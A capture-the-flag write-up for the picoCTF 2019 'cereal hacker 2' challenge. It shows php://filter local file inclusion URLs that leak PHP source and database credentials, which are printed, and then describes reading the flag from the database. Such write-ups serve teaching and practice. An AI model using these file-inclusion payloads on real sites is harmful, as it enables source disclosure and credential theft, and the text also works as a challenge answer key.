cereal hacker 2 - 500 points
Description
Get the admin’s password. https://2019shell1.picoctf.com/problem/62195/ or http://2019shell1.picoctf.com:62195
Solution
Using php filters, we can leak the source code. http://2019shell1.picoctf.com:62195/?file=php://filter/convert.base64-encode/resource=admin
<?php
require_once('cookie.php');
if(isset($perm) && $perm->is_admin()){
...
This has a reference to cookie.php.
http://2019shell1.picoctf.com:62195/?file=php://filter/convert.base64-encode/resource=cookie
<?php
require_once('../sql_connect.php');
// I got tired of my php sessions expiring, so I just put all my useful information in a serialized cookie
...
This has a reference to sql_connect.php which looks interesting. If we can leak the credentials to the database, we can easily solve the problem.
http://2019shell1.picoctf.com:62195/?file=php://filter/convert.base64-encode/resource=../sql_connect
$sql_server = 'localhost';
$sql_user = 'mysql';
$sql_pass = 'this1sAR@nd0mP@s5w0rD#%';
$sql_conn = new mysqli($sql_server, $sql_user, $sql_pass);
$sql_conn_login = new mysqli($sql_server, $sql_user, $sql_pass);
Leaks the credentials to the database.
Notice that because the host is 2019shell1.picoctf.com, the same as the shell server, we can connect to localhost from the pico shell server.
After connecting, we can simply SELECT the flag from the database.